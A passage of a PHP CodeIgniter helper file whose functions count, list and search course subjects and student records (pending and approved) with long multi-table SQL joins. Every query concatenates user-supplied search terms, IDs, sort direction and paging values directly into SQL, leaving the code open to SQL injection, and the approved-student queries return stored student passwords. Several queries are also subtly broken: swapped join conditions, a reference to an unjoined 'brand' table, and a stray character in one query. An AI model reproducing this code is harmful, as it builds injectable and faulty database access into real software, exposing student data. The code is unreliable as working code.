categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) ORDER BY subjects.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "%' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) ORDER BY subjects.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_subject_list_by_category($category_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where categorylist.CAT_ID="'.$category_id.'"'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_subject_list_by_category($limit, $start, $order, $dir,$category_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where categorylist.CAT_ID="'.$category_id.'" ORDER BY subjects.id DESC ' . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_by_category_search($limit, $start, $search, $col, $dir,$category_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) AND categorylist.CAT_ID="'.$category_id.'" ORDER BY subjects.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_by_category_search_count($search,$category_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "%' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) AND categorylist.CAT_ID="'.$category_id.'" ORDER BY subjects.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_subject_list_by_course($category_id,$course_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'"'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_subject_list_by_course($limit, $start, $order, $dir,$category_id,$course_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" ORDER BY subjects.id DESC ' . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_by_course_search($limit, $start, $search, $col, $dir,$category_id,$course_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) AND categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" ORDER BY subjects.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_by_course_search_count($search,$category_id,$course_id) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "%' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) AND categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" ORDER BY subjects.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_subject_list_by_duration($category_id,$course_id,$duration) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" AND courses.duration="'.$duration.'"'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_subject_list_by_duration($limit, $start, $order, $dir,$category_id,$course_id,$duration) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" AND courses.duration="'.$duration.'" ORDER BY subjects.id DESC ' . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_by_duration_search($limit, $start, $search, $col, $dir,$category_id,$course_id,$duration) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) AND categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" AND courses.duration="'.$duration.'" ORDER BY subjects.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_by_duration_search_count($search,$category_id,$course_id,$duration) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( categorylist.CATEGORY_NAME LIKE "%' . $search . '%" OR subjects.subject_name LIKE "%' . $search . '%" OR courses.course_name LIKE "%' . $search . '%" OR courses.course_code LIKE "%' . $search . '%" OR course_duration_list.CDL_NAME LIKE "%' . $search . '%" ) AND categorylist.CAT_ID="'.$category_id.'" AND subjects.course_id="'.$course_id.'" AND courses.duration="'.$duration.'" ORDER BY subjects.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*-------------------------------------- end course list ----------------------------------------------------------*/ function count_all_student_pending_list($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=0 '); }else{ $query = $ci->db->query('select count(*) as count from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=0 and students.center_id="'.$center.'"'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_student_pending_list($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=0 ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.center_id="'.$center.'" and students.pay_status=0 ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function student_pending_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join medium_list on business_list.BUSSINESS_ID=students.occupation left join business_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.pay_status=0 ORDER BY students.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join medium_list on business_list.BUSSINESS_ID=students.occupation left join business_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.center_id="'.$center.'" and students.pay_status=0 ORDER BY students.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function student_pending_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join categorylist on students.category=categorylist.CAT_ID left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.pay_status=0 ORDER BY students.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join categorylist on students.category=categorylist.CAT_ID left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%"O OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.center_id="'.$center.'" and students.pay_status=0 ORDER BY students.id DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_student_approve_list($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=1'); }else{ $query = $ci->db->query('select count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.center_id="'.$center.'" and students.pay_status=1 '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_student_approve_list($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.enrollment_no as enroll,students.pincode as PINCODE,students.password AS STUDENT_PASSWORD from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=1 ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.enrollment_no as enroll,students.pincode as PINCODE,students.password AS STUDENT_PASSWORD from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.center_id="'.$center.'" and students.pay_status=1 ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function student_approve_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,students.id as id, students.name as student_name,students.dob as student_dob,students.enrollment_no as enroll,students.pincode as PINCODE,students.password AS STUDENT_PASSWORD from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR categorylist.CATEGORY_NAME LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.pay_status=1 ORDER BY students.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,students.id as id, students.name as student_name,students.dob as student_dob,students.enrollment_no as enroll,students.pincode as PINCODE,students.password AS STUDENT_PASSWORD from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR categorylist.CATEGORY_NAME LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.center_id="'.$center.'" and students.pay_status=1 ORDER BY students.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function student_approve_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR categorylist.CATEGORY_NAME LIKE "' 